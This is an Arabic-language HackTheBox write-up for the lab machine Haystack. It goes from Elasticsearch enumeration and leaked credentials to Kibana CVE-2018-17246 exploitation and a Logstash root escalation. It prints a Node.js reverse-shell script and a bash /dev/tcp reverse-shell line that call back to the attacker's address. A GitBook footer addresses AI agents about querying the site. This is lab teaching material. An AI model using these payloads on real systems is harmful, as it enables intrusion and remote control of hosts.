> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md).

# شرح Haystack HackTheBox

{% embed url="<https://app.hackthebox.com/machines/195>" %}

{% hint style="warning" %}
**المهارات**:

* استطلاع ElasticSearch
* تسرب المعلومات
* استطلاع Kibana
* استغلال Kibana (CVE-2018-17246)
* استغلال Logstash (تصعيد الامتيازات)
  {% endhint %}

## الاستطلاع <a href="#reconnaissance" id="reconnaissance"></a>

**إعداد مساحة العمل:**

قم بإعداد مساحة العمل بإنشاء ثلاثة مجلدات لتخزين المحتوى المهم، والاستغلالات، ونتائج استطلاع Nmap.

<figure><img src="/files/11b680b690fb66af4c43a9730b94cf34cddc3d03" alt="" width="563"><figcaption></figcaption></figure>

**فحص اتصال VPN**

تحقق من اتصال VPN لضمان تواصل مستقر مع الجهاز المستهدف.

<figure><img src="/files/91e8c05c1e38f78abcc43dff35bd91dae593871c" alt="" width="563"><figcaption></figcaption></figure>

**اكتشاف المنافذ المفتوحة باستخدام Nmap:**

قم بحصر المنافذ المفتوحة وتصدير النتائج إلى الملف "allPorts" في دليل Nmap:

```bash
nmap -p- --open -sS --min-rate 5000 -vvv -Pn -n 10.10.10.115 -oG allPorts
```

<figure><img src="/files/2c47f9e1546ec1321ab166c76e704b3b851b0a58" alt=""><figcaption></figcaption></figure>

**تحليل المنافذ المفتوحة باستخدام extractPorts:**

استخدم دالة extractPorts لعرض المنافذ المفتوحة بصيغة مختصرة ونسخها إلى الحافظة (9200)

<figure><img src="/files/5cdf41007daf9cb376a8de39d40c26ee2b860f4f" alt="" width="563"><figcaption></figcaption></figure>

فحص إصدارات المنافذ باستخدام Nmap:

استخدم Nmap لفحص إصدارات الخدمات وحفظ الناتج في الملف "targeted":

```bash
nmap -sCV -p22,80,9200 10.10.10.115 -oN targeted
```

<figure><img src="/files/a3a24c1f3c1b51856f785fe391adcd9dbf53c0f1" alt=""><figcaption></figcaption></figure>

لحل أسماء النطاقات إلى عناوين IP عبر DNS، نقوم بإدراج اسم النطاق المرتبط بعنوان IP الخاص به في `/etc/hosts` الملف:

<figure><img src="/files/ade5567c80525e31e123769f6a94a032e9c983e9" alt="" width="563"><figcaption></figcaption></figure>

## تحليل الخدمات المكشوفة

### المنفذ 80 - تسريب معلومات

**استخراج البيانات الوصفية باستخدام ExifTool**

<figure><img src="/files/a4e9add727d33f784de66e441a4df8bec625e39d" alt="" width="563"><figcaption></figcaption></figure>

من خلال تحليل الصورة الموجودة على الخادم باستخدام `strings`، نكتشف سلسلة مشفرة بـ base64:

`bGEgYWd1amEgZW4gZWwgcGFqYXIgZXMgImNsYXZlIg==`

<figure><img src="/files/48a1759f90266b5080d8f9d517b2e68a6dd227dd" alt=""><figcaption></figcaption></figure>

بعد فكّها، تكشف هذه السلسلة الرسالة التالية: *"الإبرة في كومة القش هي 'key'"*.

<figure><img src="/files/91018399e7c8924b3498450629da24d58aa56b3e" alt="" width="563"><figcaption></figcaption></figure>

### Elasticsearch - تسريب معلومات

#### المنفذ 9200 يستضيف إصدار ElasticSearch 6.4.2.

<figure><img src="/files/1fdd2f45ee8e16fa5d8fd2da89ba09bc21e0bc1a" alt="" width="563"><figcaption></figcaption></figure>

{% hint style="info" %}
Elasticsearch هو محرك بحث وتحليلات في الوقت الفعلي يُستخدم لفهرسة كميات كبيرة من البيانات والبحث فيها بسرعة. وهو يندمج ضمن حزمة ELK لتوفير قدرات متقدمة لتصور البيانات وتحليلها.
{% endhint %}

<figure><img src="/files/fc3a1304463d1a467735e17ba0090a2098c06159" alt=""><figcaption></figcaption></figure>

من خلال الوصول إلى `/_cat/indices?` الرابط، نحصل على قائمة بالفهارس مع معرّفات UUID الخاصة بها. لاستخراج محتوى فهرس، نستخدم الرابط التالي:

`http://haystack.htb:9200/<index>/_search?pretty=true&size=1000`

<figure><img src="/files/d51ed86f8a557d00fcdddebc84665b3ff87b7f58" alt=""><figcaption></figcaption></figure>

**تصفية البيانات باستخدام Curl**

باستخدام الفهرس `quotes` وعند التصفية باستخدام كلمة مفتاح التحدي، يتم العثور على معلومات ذات صلة:

```bash
curl -s -X GET "http://haystack.htb:9200/quotes/_search?pretty=true&size=1000" | jq | grep -Ei "clave"
```

<figure><img src="/files/a29f95e3841441187b846892ed31955f284c38cc" alt=""><figcaption></figcaption></figure>

**فك ترميز السلاسل المشفرة بـ Base64**

نحصل على سلسلتين مشفرتين بـ base64، وعند فك ترميزهما، تكشفان المعلومات التعريفية:

```bash
echo -n "cGFzczogc3BhbmlzaC5pcy5rZXk=" | base64 -d; echo
echo -n "dXNlcjogc2VjdXJpdHkg" | base64 -d; echo
```

<figure><img src="/files/3d3d1edccbb8b937435efb196e9e080806af0205" alt=""><figcaption></figcaption></figure>

**المستخدم:** `security`/ **كلمة المرور:** `spanish.is.key`

### اتصال SSH

باستخدام بيانات الاعتماد المسترجعة، نتصل بالجهاز الهدف عبر SSH ونصل إلى المستخدم:

```bash
ssh security@10.10.10.115
```

<figure><img src="/files/5f3d6dd5744d3d2d545e743a81bfd7525b91d3e9" alt=""><figcaption></figcaption></figure>

### الراية user.txt :)

<figure><img src="/files/b0ac9ff0909eb55e8309107e43bf22bf60b04426" alt="" width="520"><figcaption></figcaption></figure>

**بمجرد حصولك على وصول إلى خادم Linux، هذه هي الأوامر التي يجب تنفيذها لمعالجة الطرفية:**

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

**سيسمح لك هذا بالعمل بكفاءة أكبر بكثير، وفوق ذلك، براحة أكبر.**

## تصعيد الامتيازات :

### Kibana (إعادة توجيه المنفذ)

**الخطوة 1: تحديد المنافذ المفتوحة**

أولًا، نلاحظ المنافذ المفتوحة داخليًا باستخدام الأمر التالي:

```bash
netstat -nltp
```

نلاحظ أن المنفذ **5601** يلفت انتباهنا.

<figure><img src="/files/e437fdb47b26b50548ed771f646e5a75d5137e67" alt=""><figcaption></figcaption></figure>

من خلال تنفيذ `curl` طلب على هذا المنفذ، نحصل على صفحة HTML من Kibana:

{% hint style="info" %}
**Kibana** هو برنامج جاهز للاستخدام لتصور البيانات ولوحات المعلومات الخاصة بـ Elasticsearch
{% endhint %}

<figure><img src="/files/0736a1f6afa2b1e20fc8d238053b7c3e67f1ed62" alt=""><figcaption></figcaption></figure>

**الخطوة 2: إعادة توجيه المنفذ للوصول إلى Kibana**

سنقوم بإعادة توجيه المنفذ الداخلي للخادم **5601** إلى جهازنا المحلي للوصول إليه عبر المتصفح. يمكن تنفيذ هذا التحويل عبر SSH بالأمر التالي:

```bash
ssh -L 5601:127.0.0.1:5601 security@10.10.10.115 -N
```

هذا يعيد توجيه المنفذ المحلي 5601 في الجهاز الهدف إلى المنفذ 5601 في جهازنا، مما يتيح وصولًا مباشرًا

<figure><img src="/files/134f67161c694551de002884d86073f5684d6639" alt=""><figcaption></figcaption></figure>

**الخطوة 3: التحقق من إصدار Kibana**

من خلال الوصول إلى `http://localhost:5601/api/status`، نلاحظ رقم إصدار Kibana: **6.4.2**. هذا الإصدار عرضة لهجوم **تضمين الملفات المحلية (LFI)** ، والمُعرَّف باسم **CVE-2018-17246**.

<figure><img src="/files/9f1e9db9bc8311c673b0d773cba44ec16133d208" alt=""><figcaption></figcaption></figure>

### استغلال Kibana (CVE-2018-17246)

{% embed url="<https://github.com/mpgn/CVE-2018-17246>" %}

**الخطوة 4: استغلال الثغرة**

لاستغلال هذه الثغرة، سننشئ ملف JavaScript للحصول على shell عكسي. في `/tmp` مجلد الجهاز الهدف، أنشئ ملفًا باسم `rev.js` بالكود التالي:

<pre class="language-javascript"><code class="lang-javascript"><strong>function(){
</strong>    var net = require("net"),
        cp = require("child_process"),
        sh = cp.spawn("/bin/sh", []);
    var client = new net.Socket();
    client.connect(443, "10.10.14.24", function(){
        client.pipe(sh.stdin);
        sh.stdout.pipe(client);
        sh.stderr.pipe(client);
    });
    return /a/; // يمنع تعطل تطبيق Node.js
})();
</code></pre>

سيُنشئ هذا السكربت اتصالًا مع جهازك على المنفذ **443** لفتح shell.

**الخطوة 5: إعادة توجيه الدفق إلى ملف**

ثم أعد توجيه الدفق إلى `/dev/shm/rev.js` الملف بالأمر التالي:

```bash
curl -s -X GET "http://localhost:5601/api/console/api_server?sense_version=@@SENSE_VERSION&apis=../../../../../../.../../../../dev/shm/rev.js"
```

**الخطوة 6: الاستماع على المنفذ من أجل shell عكسي**

على جهازك، ابدأ مستمعًا على المنفذ **443** لالتقاط الغلاف العكسي:

```bash
nc -nlvp 443
```

بعد تسجيل الدخول، ستحصل على shell على الجهاز الهدف، مما يتيح تصعيد الامتيازات.

<figure><img src="/files/ca4b5bdebd49ed9fb99999487524f18605d82cf9" alt=""><figcaption></figcaption></figure>

## استغلال Logstash

نبحث عن جميع الملفات القابلة للوصول باستخدام المستخدم `kibana`:

```bash
find / -user kibana 2>/dev/null | grep -vE "usr|var|proc"
```

<figure><img src="/files/efde48b0ff136f52f353b2fd10a766b8bd300586" alt="" width="563"><figcaption></figcaption></figure>

من خلال الوصول إلى Logstash، نكتشف ثلاثة ملفات إعدادات:

* `filter.conf`
* `input.conf`
* `output.conf`

<figure><img src="/files/4b6b4c4e8245f7718f0ffd94a97ae9b2bb69bd44" alt=""><figcaption></figcaption></figure>

{% hint style="warning" %}
باختصار، يشغّل Logstash مهمة cron تتحقق كل 10 ثوانٍ مما إذا كان هناك ملف باسم `logstash_*` موجودًا في `/opt/kibana/` الدليل. إذا تم العثور على ملف مطابق وكان يحتوي على أمر مع إدخال محدد، بالشكل:
{% endhint %}

`"message" => "Run/scommand/s:/s+%{GREEDYDATA:command}"`

<figure><img src="/files/8a9cb298be05f6a7b0e57f034e40971759147785" alt=""><figcaption></figcaption></figure>

لاستغلال هذه الثغرة، ننشئ ملفًا باسم `logstash_exec` في `/opt/kibana/` الدليل بالمحتوى التالي:

```bash
bash -i >& /dev/tcp/10.10.14.7/4444 0>&1
```

بعد ذلك، نستمع على المنفذ 4444، ونحصل على صلاحيات root.

<figure><img src="/files/f00e9e4095954b8b4ee7a877672cc1cc89d89d3d" alt=""><figcaption></figcaption></figure>

### فلاغ الجذر :)

<figure><img src="/files/5aedf83f3224ede774d5144f8daced5f1b7fc6e2" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/097ae313e8cda446fbf63d270465a49d1bf29217" alt="" width="522"><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ar/writeups-ctf/hackthebox/linux-easy/haystack-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
